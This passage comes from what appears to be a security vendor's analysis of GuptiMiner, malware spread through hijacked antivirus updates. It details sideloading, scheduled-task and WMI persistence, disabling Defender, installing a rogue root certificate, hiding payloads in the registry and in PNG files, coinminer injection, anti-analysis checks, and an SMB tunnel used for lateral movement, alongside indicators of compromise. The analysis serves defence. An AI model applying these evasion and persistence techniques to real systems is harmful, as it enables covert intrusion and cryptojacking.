Thankfully the obfuscation is rather weak, provided the shellcode as well as the embedded PE file are still in the plaintext form.&nbsp;Furthermore, the authors started to distinguish between the <code>version.dll</code> stage and the PE file loaded by the shellcode by additional mutex. Previously, both stages used the shared mutex <code>ONLY_ME_Vx</code>, now the sideloading uses <code>MTX_V101</code> as a mutex.<h2 id="installation-improvements">Stage 0.9 – Installation Improvements</h2><code>3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c</code> <code>(2021-03-28 14:41:07 UTC)&nbsp;</code>The installation process has undergone multiple improvements over time, and, since it is rather different compared to older variants, we decided to describe it separately as an intermediary Stage 0.9. With these improvements, the authors introduced a usage of scheduled tasks, WMI events, two differently loaded next stages (<a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#png-loader">Stage 1 – PNG loader</a>), turning off Windows Defender, and installing crafted certificates to Windows.&nbsp;There are also multiple files dropped at this stage, enabling further sideloading by the malware. These files are clean and serve exclusively for sideloading purposes. The malicious DLLs that are being sideloaded, are two PNG loaders (Stage 1):&nbsp;<ul><li><code>de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739 *atiadlxx.dll</code> </li><li><code>e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee *BrLogAPI.dll</code>&nbsp;</li></ul><h3>WMI Events&nbsp;</h3><code>de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739</code> <code>(atiadlxx.dll, 2021-03-28 14:30:11 UTC)&nbsp;</code>At this stage, WMI events are used for loading the first of the PNG loaders. This loader is extracted to a path: <code>C:\PROGRAMDATA\AMD\CNext\atiadlxx.dll</code>&nbsp;Along with it, additional clean files are dropped, and they are used for sideloading, in either of these locations (can be both):&nbsp; <code>C:\ProgramData\AMD\CNext\slsnotif.exe&nbsp;</code> <code>C:\ProgramData\AMD\CNext\msvcr120.dll</code> or <code>C:\Program Files (x86)\AMD\CNext\CCCSlim\slsnotify.exe</code> <code>C:\Program Files (x86)\AMD\CNext\CCCSlim\msvcr120.dll&nbsp;</code>The clean file <code>slsnotify.exe</code> is then registered via WMI event in such a way that it is executed when these conditions are met:WMI conditions to trigger sideloadingIn other words, the sideloading is performed on a workday in either January, July, or November. The numbers represented by <code>%d</code> are randomly selected values. The two possibilities for the hour are exactly two hours apart and fall within the range of 11–16 or 13–18 (inclusive). This conditioning further underlines the longevity of GuptiMiner operations.<h3>Scheduled Tasks</h3><code>e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee</code> <code>(BrLogAPI.dll, 2021-03-28 14:10:27 UTC)</code>Similarly to the WMI events, GuptiMiner also drops a clean binary for sideloading at this location: <code>C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe</code>&nbsp;The malicious PNG loader is then placed in one (or both) of these locations: <code>C:\Program Files (x86)\Brother\Brmfl14c\BrLogAPI.dll</code> <code>C:\Program Files\Brother\Brmfl14c\BrLogAPI.dll&nbsp;</code>The scheduled task is created by invoking a Task Scheduler. The scheduled task has these characteristics:&nbsp;<ul><li>It is created and named as <code>C:\Windows\System32\Tasks\Microsoft\Windows\Brother\Brmfl14c</code> </li><li>Executes: <code>C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe</code> </li><li>The execution is done under a folder containing the to-be-sideloaded DLL, e.g.: <code>C:\Program Files (x86)\Brother\Brmfl14c\</code> </li><li>The execution is performed with every boot (<code>TASK_TRIGGER_BOOT</code>) with <code>SYSTEM</code> privileges&nbsp;</li></ul><h3>Deploy During Shutdown</h3><code>3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c</code> <code>(2021-03-28 14:41:07 UTC)</code>Let’s now look at how all these files, clean and malicious, are being deployed. One of GuptiMiner’s tricks is that it drops the final payload, containing PNG loader stage, only during the system shutdown process. Thus, this happens at the time other applications are shutting down and potentially not protecting the user anymore.

From the code above, we can observe that only when the <code>SM_SHUTTINGDOWN</code> metric is non-zero, meaning the current session is shutting down, as well as all the supporting clean files were dropped successfully, the final payload DLL is dropped as well.&nbsp;An engaged reader could also notice in the code above that the first function that is being called disables Windows Defender. This is done by standard means of modifying registry keys. Only if the Defender is disabled can the malware proceed with the malicious actions.&nbsp;<h3>Adding Certificates to Windows</h3>Most of the time, GuptiMiner uses self-signed binaries for their malicious activities. However, this time around, the attackers went a step further. In this case, both of the dropped PNG loader DLLs are signed with a custom trusted root anchor certification authority. This means that the signature is inherently untrusted since the attackers’ certification authority cannot be trusted by common verification processes in Windows.&nbsp;However, during the malware installation, GuptiMiner also adds a root certificate to Windows’ certificate store making this certification authority trusted. Thus, when such a signed file is executed, it is understood as correctly signed. This is done by using <code>CertCreateCertificateContext</code>, <code>CertOpenStore</code>, and <code>CertAddCertificateContextToStore</code> API functions.

The certificate is present in a plaintext form directly in the GuptiMiner binary file.

During our research, we found three different certificate issuers used during the GuptiMiner operations:&nbsp;<ul><li><code>GTE Class 3 Certificate Authority </code></li><li><code>VeriSign Class 3 Code Signing 2010</code> </li><li><code>DigiCert Assured ID Code Signing CA&nbsp;</code></li></ul>Note that these names are artificial and any resemblance to legitimate certification authorities shall be considered coincidental.&nbsp;<h3 id="storing-payloads-in-registry">Storing Payloads in Registry&nbsp;</h3><code>8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049</code> <code>(upgradeshow.dll, 2023-11-23 16:41:34 UTC)&nbsp;</code>At later development stages, authors behind GuptiMiner started to integrate even better persistence of their payloads by storing the payloads in registry keys. Furthermore, the payloads were also encrypted by XOR using a fixed key. This ensures that the payloads look meaningless to the naked eye.&nbsp;We’ve discovered these registry key locations to be utilized for storing the payloads so far:&nbsp;<ul><li><code>SYSTEM\CurrentControlSet\Control\Nls\Sorting\Ids\en-US</code> </li><li><code>SYSTEM\CurrentControlSet\Control\PnP\Pci\CardList</code> </li><li><code>SYSTEM\CurrentControlSet\Control\Wdf\DMCF</code> </li><li><code>SYSTEM\CurrentControlSet\Control\StorVSP\Parsers</code>&nbsp;</li></ul><h2 id="png-loader">Stage 1 – PNG Loader&nbsp;</h2><code>ff884d4c01fccf08a916f1e7168080a2d740a62a774f18e64f377d23923b0297</code> <code>(2018-04-19 09:45:25 UTC)&nbsp;</code>When the entry point of the PE file is executed by the shellcode from <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-process">Stage 0</a>, the malware first creates a scheduled task to attempt to perform cleanup of the initial infection by removing <code>updll62.dlz</code> archive and <code>version.dll</code> library from the system.&nbsp;Furthermore, the PE serves as a dropper for additional stages by contacting an attacker’s malicious DNS server. This is done by sending a DNS request to the attacker’s DNS server, obtaining the TXT record with the response. The TXT response holds an encrypted URL domain of a real C&amp;C server that should be requested for an additional payload. This payload is a valid PNG image file (a T-Mobile logo) which also holds a shellcode appended to its end. The shellcode is afterwards executed by the malware in a separate thread, providing further malware functionality as a next stage.Note that since the DNS server itself is malicious, the requested domain name doesn’t really matter – or, in a more abstract way of thinking about this functionality, it can be rather viewed as a “password” which is passed to the server, deciding whether the DNS server should or shouldn’t provide the desired TXT answer carrying the instructions.&nbsp;As we already mentioned in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#domains-in-time">Domains timeline section</a>, there are multiple of such “Requested domains” used. In the version referenced here, we can see these two being used:&nbsp;<ul><li><code>ext.peepzo[.]com</code> </li><li><code>crl.peepzo[.]com</code>&nbsp;</li></ul>and the malicious DNS server address is in this case:&nbsp;<ul><li><code>ns1.peepzo[.]com</code>&nbsp;</li></ul>Here we can see a captured DNS TXT response using Wireshark. Note that <code>Transaction ID = 0x034b</code> was left unchanged during all the years of GuptiMiner operations. We find this interesting because we would expect this could get easily flagged by firewalls or EDRs in the affected network.DNS TXT response captured by WiresharkThe requests when the malware is performing the queries is done in random intervals. The initial request for the DNS TXT record is performed in the first 20 minutes after the PNG loader is executed. The consecutive requests, which are done for the malware’s update routine, wait up to 69 hours between attempts.&nbsp;This update mechanism is reflected by creating separate mutexes with the shellcode version number which is denoted by the first two bytes of the decrypted DNS TXT response (see below for the decryption process). This ensures that no shellcode with the same version is run twice on the system.&nbsp;

<h3 id="dns-txt-decryption">DNS TXT Record Decryption</h3>After the DNS TXT record is received, GuptiMiner decodes the content using base64 and decrypts it with a combination of MD5 used as a key derivation function and the RC2 cipher for the decryption. Note that in the later versions of this malware, the authors improved the decryption process by also using checksums and additional decryption keys.&nbsp;For the key derivation function and the decryption process, the authors decided to use standard Windows CryptoAPI functions.

Interestingly, a keen eye can observe an oversight in this initialization process shown above, particularly in the <code>CryptHashData</code> function. The prototype of the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-crypthashdata">CryptHashData API function</a> is:<code>BOOL CryptHashData(</code> <code>&nbsp; [in] HCRYPTHASH hHash,</code> <code>&nbsp; [in] const BYTE *pbData,</code> <code>&nbsp; [in] DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwDataLen,</code> <code>&nbsp; [in] DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwFlags</code> <code>);&nbsp;</code>The second argument of this function is a pointer to an array of bytes of a length of <code>dwDataLen</code>. However, this malware provides the string <code>L"POVO@1"</code> in a Unicode (UTF-16) format, represented by the array of bytes <code>*pbData</code>.

Thus, the first six bytes from this array are only <code>db 'P', 0, 'O', 0, 'V', 0</code> which effectively cuts the key in half and padding it with zeroes. Even though the malware authors changed the decryption key throughout the years, they never fixed this oversight, and it is still present in the latest version of GuptiMiner.&nbsp;<h3>DNS TXT Record Parsing&nbsp;</h3>At this point, we would like to demonstrate the decrypted TXT record and how to parse it. In this example, while accessing the attacker’s malicious DNS server <code>ns.srnmicro[.]net</code> and the requested domain <code>spf.microsoft[.]com</code>, the server returned this DNS TXT response:&nbsp;<code>VUBw2mOgagCILdD3qWwVMQFPUd0dPHO3MS/CwpL2bVESh9OnF/Pgs6mHPLktvph2</code>After fully decoding and decrypting this string, we get:&nbsp;This result contains multiple fields and can be interpreted as:&nbsp;

The first two bytes, Version 1 and Version 2, form the PNG shellcode version. It is not clear why there are two such versions since Version 2 is actually never used in the program. Only Version 1 is considered whether to perform the update – i.e., whether to download and load the PNG shellcode or not. In either case, we could look at these numbers as a major version and a minor version, and only the major releases serve as a trigger for the update process.The third byte is a key size that denotes how many bytes should be read afterwards, forming the key. Furthermore, no additional delimiter is needed between the key and the URL since the key size is known and the URL follows. Finally, the two-byte checksum can be verified by calculating a sum of all the bytes (modulo <code>0xFF</code>).&nbsp;After the DNS TXT record is decoded and decrypted, the malware downloads the next stage, from the provided URL, in the form of a PNG file. This is done by using standard <code>WinINet</code> Windows API, where the <code>User-Agent</code> is set to contain the bitness of the currently running process.

The C&amp;C server uses the <code>User-Agent</code> information for two things:&nbsp;<ul><li>Provides the next stage (a shellcode) in the correct bitness </li><li>Filters any HTTP request that doesn’t contain this information as a protection mechanism&nbsp;</li></ul><h3 id="parsing-the-png-file">Parsing the PNG File&nbsp;</h3>After the downloaded file is a valid PNG file which also contains a shellcode appended at the end. The image is a T-Mobile logo and has exactly <code>805</code> bytes. These bytes are skipped by the malware and the rest of the file, starting at an offset <code>0x325</code>, is decrypted by RC2 using the key provided in the TXT response (derived using MD5). The reason of using an image as this “prefix” is to further obfuscate the network communication where the payload looks like a legitimate image, likely overlooking the appended malware code.&nbsp;

After the shellcode is loaded from the position <code>0x325</code>, it proceeds with loading additional PE loader from memory to unpack next stages using Gzip.&nbsp;<h3>IP Address Masking</h3><code>294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a</code> <code>(2023-11-09 14:19:45 UTC)&nbsp;</code>In late 2023, the authors decided to ditch the years-long approach of using DNS TXT records for distributing payloads and they switched to IP address masking instead.&nbsp;This new approach consists of a few steps:&nbsp;<ol><li>Obtain an IP address of a hardcoded server name registered to the attacker by standard means of using <code>gethostbyname</code> API function </li><li>For that server, two IP addresses are returned – the first is an IP address which is a masked address, and the second one denotes an available payload version and starts with <code>23.195.</code> as the first two octets </li><li>If the version is newer than the current one, the masked IP address is de-masked and results in a real C&amp;C IP address </li><li>The real C&amp;C IP address is used along with a hardcoded constant string (used in a URL path) to download the PNG file containing the shellcode&nbsp;</li></ol>The de-masking process is done by XORing each octet of the IP address by <code>0xA</code>, <code>0xB</code>, <code>0xC</code>, <code>0xD</code>, respectively. The result is then taken, and a hardcoded constant string is added to the URL path.&nbsp;As an example, one such server we observed was <code>www.elimpacific[.]net</code>. It was, at the time, returning:&nbsp;

The address <code>23.195.101[.]1</code> denotes a version and if it is greater than the current version, it performs the update by downloading the PNG file with the shellcode. This update is downloaded by requesting a PNG file from the real C&amp;C server whose address is calculated by de-masking the <code>179.38.204[.]38</code> address:&nbsp;&nbsp;The request is then made, along with the calculated IP address <code>185.45.192[.]43</code> and a hardcoded constant <code>elimp</code>. Using a constant like this serves as an additional password, in a sense: <code>185.45.192[.]43/elimp/</code>&nbsp;

When the PNG file is downloaded, the rest of the process is the same as usual.&nbsp;We’ve discovered two servers for this functionality so far:&nbsp;

<h3>Anti-VM and Anti-debug Tricks&nbsp;</h3><code>294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a</code> <code>(2023-11-09 14:19:45 UTC)&nbsp;</code>Along with other updates described above, we also observed an evolution in using anti-VM and anti-debugging tricks. These are done by checking well known disk drivers, registry keys, and running processes.&nbsp;GuptiMiner checks for these disk drivers by enumerating <code>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Disk\Enum</code>:&nbsp;<ul><li><code>vmware </code></li><li><code>qemu </code></li><li><code>vbox </code></li><li><code>virtualhd&nbsp;</code></li></ul>Specifically, the malware also checks the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Cylance</code> for the presence of Cylance AV.&nbsp;As other anti-VM measures, the malware also checks whether the system has more than 4GB available RAM and at least 4 CPU cores.&nbsp;Last but not least, the malware also checks the presence of these processes by their prefixes:&nbsp;

<h3>Storing Images in Registry</h3><code>6305d66aac77098107e3aa6d85af1c2e3fc2bb1f639e4a9da619c8409104c414</code> <code>(2023-02-22 14:03:04 UTC)&nbsp;</code>Similarly to <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#storing-payloads-in-registry">Storing Payloads in Registry</a>, in later stages of GuptiMiner, the authors also started to save the downloaded PNG images (containing the shellcodes) into registry as well. Contrary to storing the payloads, the images are not additionally XORed since the shellcodes in them are already encrypted using RC2 (see <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#dns-txt-decryption">DNS TXT Record Decryption</a> section for details).&nbsp;We’ve discovered these registry key locations to be utilized for storing the encrypted images containing the shellcodes so far:&nbsp;<ul><li><code>SYSTEM\CurrentControlSet\Control\Arbiters\Class </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\Class </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\CORE </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\DEF </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\Els </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\ASN </code></li><li><code>SYSTEM\CurrentControlSet\Control\MSDTC\BSR&nbsp;</code></li></ul><h2>Stage 2 – Gzip Loader&nbsp;</h2><code>357009a70daacfc3379560286a134b89e1874ab930d84edb2d3ba418f7ad6a0b</code> <code>(2019-04-02 07:30:21 UTC)&nbsp;</code>This stage is the shortest, the Gzip loader, which is extracted and executed by the shellcode from the PNG file, is a simple PE that decompresses another shellcode using Gzip and executes it in a separate thread.&nbsp;This thread additionally loads Stage 3, which we call Puppeteer, that orchestrates the core functionality of the malware – the cryptocurrency mining as well as, when applicable, deploying backdoors on the infected systems.&nbsp;Throughout the GuptiMiner operations, Gzip loader has not been changed with later versions.&nbsp;<h2>Stage 3 – Puppeteer</h2><code>364984e8d62eb42fd880755a296bd4a93cc071b9705c1f1b43e4c19dd84adc65</code> <code>(2019-03-15 10:07:36 UTC)&nbsp;</code>Let’s now look at the biggest Stage 3, the Puppeteer. It pulls its strings everywhere across the infected system, manipulating the GuptiMiner components to do its bidding, hence the name we’ve chosen. It orchestrates further actions and deploys two core components of the malware – an XMRig coinminer and two types of backdoors that target devices present in large corporate networks. Of course, Puppeteer also introduces additional tricks to the arsenal of the whole GuptiMiner operation.&nbsp;This stage also uses one of the many <code>Global\SLDV</code> mutexes which we described in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#mutexes-in-time">Mutex timeline</a>. For example, this particular sample uses <code>SLDV01</code> as its mutex.<h3>Puppeteer Setup</h3>Puppeteer performs several steps for a proper setup. Firstly, it adds a new power scheme in Windows so the PC does not go to sleep. If the CPU has only one core (anti-VM) or the mutex already exists, the malware ceases to function by going to infinite sleep.&nbsp;In the next phase, the malware kills all the processes with a name <code>msiexec.exe</code>, <code>cmstp.exe</code>, or <code>credwiz.exe</code>. After that, it creates a separate thread that injects XMRig into a credwiz.exe process freshly created by the malware. The malware also disables Windows Defender by setting its service start status to disabled.&nbsp;For the persistence, Puppeteer chose an interesting approach. Firstly, it creates a scheduled task with the following configuration:&nbsp;<ul><li>A legitimate <code>rundll32.exe</code> file is copied and renamed into <code>C:\ProgramData\Microsoft\Crypto\Escan\dss.exe</code> and this file is executed from the scheduled task </li><li>The malicious DLL is placed to <code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3</code> and this file is loaded by <code>dss.exe</code> (exported function <code>ValidateFile</code>) </li><li>The task is executed with every boot (<code>TASK_TRIGGER_BOOT</code>) and <code>TASK_RUNLEVEL_HIGHEST</code> priority </li><li>The task is named and located at <code>C:\Windows\system32\tasks\Microsoft\windows\autochk\ESUpgrade</code>&nbsp;</li></ul>With that, the malware copies the content of <code>updll3.dll3</code> into memory and deletes the original file from disk. Puppeteer then waits for a system shutdown (similarly to <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-improvements">Stage 0.9</a>) by waiting for <code>SM_SHUTTINGDOWN</code> metric to be set to non-zero value, indicating the shutdown. This is checked every 100 milliseconds. Only when the shutdown of the system is initiated, the malware reintroduces the <code>updll3.dll3</code> file back onto disk.&nbsp;Putting the malicious DLL back just before the system restart is really sneaky but also has potentially negative consequences. If the victim’s device encounters a crash, power outage, or any other kind of unexpected shutdown, the file won’t be restored from memory and Puppeteer will stop working from this point. Perhaps this is the reason why authors actually removed this trick in later versions, trading the sophistication for malware’s stability.

The repetitive loading of <code>updll3.dll3</code>, as seen in the code above, is in fact Puppeteer’s update process. The DLL will ultimately perform steps of requesting a new <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#parsing-the-png-file">PNG shellcode</a> from the C&amp;C servers and if it is a new version, the chain will be updated.&nbsp;<h3>XMRig Deployment&nbsp;</h3>During the setup, Puppeteer created a separate thread for injecting an XMRig coinminer into <code>credwiz.exe</code> process. Before the injection takes place, however, a few preparation steps are performed.&nbsp;The XMRig configuration is present directly in the XMRig binary (standard JSON config) stored in the Puppeteer binary. This configuration can be, however, modified to different values on the fly. In the example below, we can see a dynamic allocation of mining threads depending on the robustness of the infected system’s hardware.&nbsp;

The injection is standard: the malware creates a new suspended process of <code>credwiz.exe</code> and, if successful, the coinmining is injected and executed by <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code> combo.&nbsp;Puppeteer continuously monitors the system for running process, by default every 5 seconds. If it encounters any of the monitoring tools below, the malware kills any existing mining by taking down the whole <code>credwiz.exe</code> process as well as it applies a progressive sleep, postponing another re-injection attempt by additional 5 hours.&nbsp;<ul><li><code>taskmgr.exe</code> </li><li><code>autoruns.exe</code> </li><li><code>wireshark.exe</code> </li><li><code>wireshark-gtk.exe</code> </li><li><code>tcpview.exe</code>&nbsp;</li></ul>Furthermore, the malware needs to locate the current <code>updll3.dll3</code> on the system so its latest version can be stored in memory, removed from disk, and dropped just before another system restart. Two approaches are used to achieve this:&nbsp;<ul><li>Reading eScan folder location from <code>HKEY_LOCAL_MACHINE\SOFTWARE\AVC3</code> </li><li>If one of the checked processes is called <code>download.exe</code>, which is a legitimate eScan binary, it obtains the file location to discover the folder. The output can look like this: <ul><li><code>\Device\HarddiskVolume1\Program Files (x86)\eScan\download.exe</code>&nbsp;</li></ul></li></ul>The check for <code>download.exe</code> serves as an alternative for locating eScan installation folder and the code seems heavily inspired by the example code of <a href="https://learn.microsoft.com/en-us/windows/win32/memory/obtaining-a-file-name-from-a-file-handle">Obtaining a File Name From a File handle</a> on MSDN.&nbsp;Finally, Puppeteer also continuously monitors the CPU usage on the system and tweaks the core allocation in such a way it is not that much resource heavy and stays under the radar.&nbsp;<h3 id="backdoor-setup">Backdoor Setup</h3><code>4dfd082eee771b7801b2ddcea9680457f76d4888c64bb0b45d4ea616f0a47f21</code> <code>(2019-06-29 03:38:24 UTC)&nbsp;</code>The backdoor is set up by the previous stage, Puppeteer, by first discovering whether the machine is operating on a Windows Server or not. This is done by checking a DNS Server registry key (DNS Server service is typically running on a Windows Server edition): <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server&nbsp;</code>After that, the malware runs a command to check and get a number of computers joined in a domain: <code>net group “domain computers” /domain</code>The data printed by the <code>net group</code> command typically uses 25 characters per domain joined computer plus a newline (<code>CR+LF</code>) per every three computers, which can be illustrated by the example below:&nbsp;

In this version of the backdoor setup, Puppeteer checks whether the number of returned bytes is more than 100. If so, Puppeteer assumes it runs in a network shared with at least five computers and downloads additional payloads from a hardcoded C&amp;C (<code>https://m.airequipment[.]net/gpse/</code>) and executes it using PowerShell command.&nbsp;Note that the threshold for the number of returned bytes was different and significantly higher in later versions of GuptiMiner, as can be seen in a dedicated section discussing <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#modular-backdoor">Modular Backdoor</a>, resulting in compromising only those networks which had more than 7000 computers joined in the same domain!&nbsp;If the checks above pass, Puppeteer uses a PowerShell command for downloading and executing the payload and, interestingly, it is run both in the current process as well as injected in <code>explorer.exe</code>.&nbsp;Furthermore, regardless of whether the infected computer is present in a network of a certain size or not, it tries to download additional payload from <code>dl.sneakerhost[.]com/u</code> as well. This payload is yet another PNG file with the appended shellcode. We know this because the code uses the exact same parsing from the specific offset <code>0x325</code> of the PNG file as described in <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#png-loader">Stage 1</a>. However, during our analysis, this domain was already taken down and we couldn’t verify what kind of payload was being distributed here.&nbsp;The Puppeteer’s backdoor setup process was improved and tweaked multiple times during its long development. In the upcoming subsections, we will focus on more important changes, mostly those which influence other parts of the malware or present a whole new functionality.&nbsp;<h3>Later Puppeteer Versions&nbsp;</h3>In later versions, the attackers switched to the datetime mutex paradigm (as illustrated in <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#mutexes-in-time">Mutexes in Time</a> section) and also introduced additional process monitoring of more Sysinternals tools like Process explorer, Process monitor, as well as other tools like OllyDbg, WinDbg, and TeamViewer.&nbsp;<h4>Pool Configuration</h4><code>487624b44b43dacb45fd93d03e25c9f6d919eaa6f01e365bb71897a385919ddd</code> <code>(2023-11-21 18:05:43 UTC)&nbsp;</code>Additionally, the GuptiMiner authors also started to modify pool addresses in XMRig configurations with a new approach. They started using subdomains by “<code>r</code>” and “<code>m</code>” depending on the available physical memory on the infected system. If there is at least 3 GB of RAM available, the malware uses: <code>m.domain.tld</code> with <code>auto</code> mode and enabled huge pages.If the available RAM is lesser than 3 GB, it uses: <code>r.domain.tld</code> with <code>light</code> mode and disabled huge pages.In order to not keep things simple, the authors later also started to use “<code>p</code>” as a subdomain in some versions, without any specific reason for the naming convention (perhaps just to say it is a “pool”).&nbsp;The usage of all such domains in time can be seen in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#domains-in-time">Domains timeline</a>.&nbsp;<h4>Variety in Used DLLs&nbsp;</h4>Puppeteer used many different names and locations of DLLs over the years for sideloading or directly loading using scheduled tasks. For example, these might be:&nbsp;<ul><li><code>C:\Program Files (x86)\eScan\updll3.dll3 </code></li><li><code>C:\Program Files\Common Files\SYSTEM\SysResetErr\SysResetErr.DLL </code></li><li><code>C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellChecking.DLL </code></li><li><code>C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellCheckingHost.DLL </code></li><li><code>C:\ProgramData\AMD\CNext\atiadlxx.dll </code></li><li><code>C:\ProgramData\Microsoft\Assistance\LunarG\vulkan-1.dll</code></li><li><code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll </code></li><li><code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 </code></li><li><code>C:\ProgramData\Microsoft\Network\Escan\AutoWake.dll&nbsp;</code></li></ul><h4>Puppeteer Cleanup&nbsp;</h4><code>1c31d06cbdf961867ec788288b74bee0db7f07a75ae06d45d30355c0bc7b09fe</code> <code>(2020-03-09 00:57:11 UTC)</code>We’ve also seen “cleaner” Puppeteers, meaning they didn’t contain the setup process for backdoors, but they were able to delete the malicious DLLs from the system when a running monitoring tool was detected.&nbsp;<h4 id="deploy-per-quarter">Deploy Per-Quarter&nbsp;</h4><code>1fbc562b08637a111464ba182cd22b1286a185f7cfba143505b99b07313c97a4</code> <code>(2021-03-01 10:43:27 UTC)&nbsp;</code>In this particular version, the deployment of the backdoor was performed once every 3 months, indicating a per-quarter deployment.

<h2>Stage 4 – Backdoor&nbsp;</h2>Since no one who puts such an effort into a malware campaign deploys just coinminers on the infected devices, let’s dig deeper into additional sets of GuptiMiner’s functionalities – deploying two types of backdoors on the infected devices.<h3>PuTTY Backdoor&nbsp;</h3><code>07beca60c0a50520b8dbc0b8cc2d56614dd48fef0466f846a0a03afbfc42349d</code> <code>(2021-03-01 10:31:33 UTC)</code> <code>E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb</code>One of the backdoors deployed by GuptiMiner is based on a custom build of PuTTY Link (<code>plink</code>). This build contains an enhancement for local SMB network scanning, and it ultimately enables lateral movement over the network to potentially exploit <code>Windows 7</code> and <code>Windows Server 2008</code> machines by tunneling SMB traffic through the victim’s infected device.&nbsp;<h4>Local SMB Scanning&nbsp;</h4>First, the plink binary is injected into netsh.exe process by Puppeteer with the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#deploy-per-quarter">Deploy per-quarter</a> approach. After a successful injection, the malware discovers local IP ranges by reading the IP tables from the victim’s device, adding those into local and global IP range lists.&nbsp;With that, the malware continues with the local SMB scanning over the obtained IP ranges: <code>xx.yy.zz.1-254</code>. When a device supporting SMB is discovered, it is saved in a dedicated list. The same goes with IPs that don’t support SMB, effectively deny listing them from future actions. This deny list is saved in specific registry subkeys named <code>Sem</code> and <code>Init</code>, in this location: <code>HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\CMF\Class</code> where <code>Init</code> contains the found IP addresses and <code>Sem</code> contains their total count.&nbsp;There are conditions taking place when such a scan is performed. For example, the scan can happen only when it is a day in the week <code>(!)</code>, per-quarter deployment, and only at times between 12 PM and 18 PM. Here, we denoted by <code>(!)</code> a unique coding artefact in the condition, since checking the day of the week is not necessary (always true).&nbsp;

Finally, the malware also creates a new registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\RNG\FFFF</code> three hours after a successful scan. This serves as a flag that the scanning should be finished, and no more scanning is needed.&nbsp;An even more interesting datetime-related bug can be seen in a conditioning of <code>RNG\FFFF</code> registry removal. The removal is done to indicate that the malware can perform another SMB scan after a certain period of time.&nbsp;As we can see in the figure below, the malware obtains the write time of the registry key and the current system time by <code>SystemTimeToVariantTime</code> API function and subtracts those. The subtraction result is a floating-point number where the integral part means number of days.&nbsp;Furthermore, the malware uses a constant <code>60*60*60*24=5184000</code> seconds (60 days) in the condition for the registry key removal. However, the condition is comparing <code>VariantTime</code> (days) with seconds. Thus, the backdoor can activate every <code>51.84</code> days instead of the (intended?) 60 days. A true blessing in disguise.&nbsp;

<h4>Lateral Movement Over SMB Traffic&nbsp;</h4>After the local SMB scan is finished, the malware checks from the received SMB packet results whether any of the IP addresses that responded are running <code>Windows 7</code> or <code>Windows Server 2008</code>. If any such a system is found on the local network, the malware adds these IP addresses to a list of potential targets.&nbsp;Furthermore, GuptiMiner executes the <code>main()</code> legacy function from plink with artificial parameters. This will create a tunnel on the port <code>445</code> between the attacker’s server <code>gesucht[.]net</code> and the victim’s device.&nbsp;

This tunnel is used for sending SMB traffic through the victim’s device to the IP addresses from the target list, enabling lateral movement over the local network.&nbsp;Note that this version of Puppeteer, deploying this backdoor, is from 2021. We also mentioned that only <code>Windows 7</code> and <code>Windows Server 2008</code> are targeted, which are rather old. We think this might be because the attackers try to deploy an exploit for possible vulnerabilities on these old systems.&nbsp;To orchestrate the SMB communication, the backdoor hand-crafts SMB packets on the fly by modifying <code>TID</code> and <code>UID</code> fields to reflect previous SMB communication. As shown in the decompiled code below, the SMB <code>packet 4</code>, which is crafted and sent by the malware, contains both <code>TID</code> and <code>UID</code> from the responses of the local network device.&nbsp;

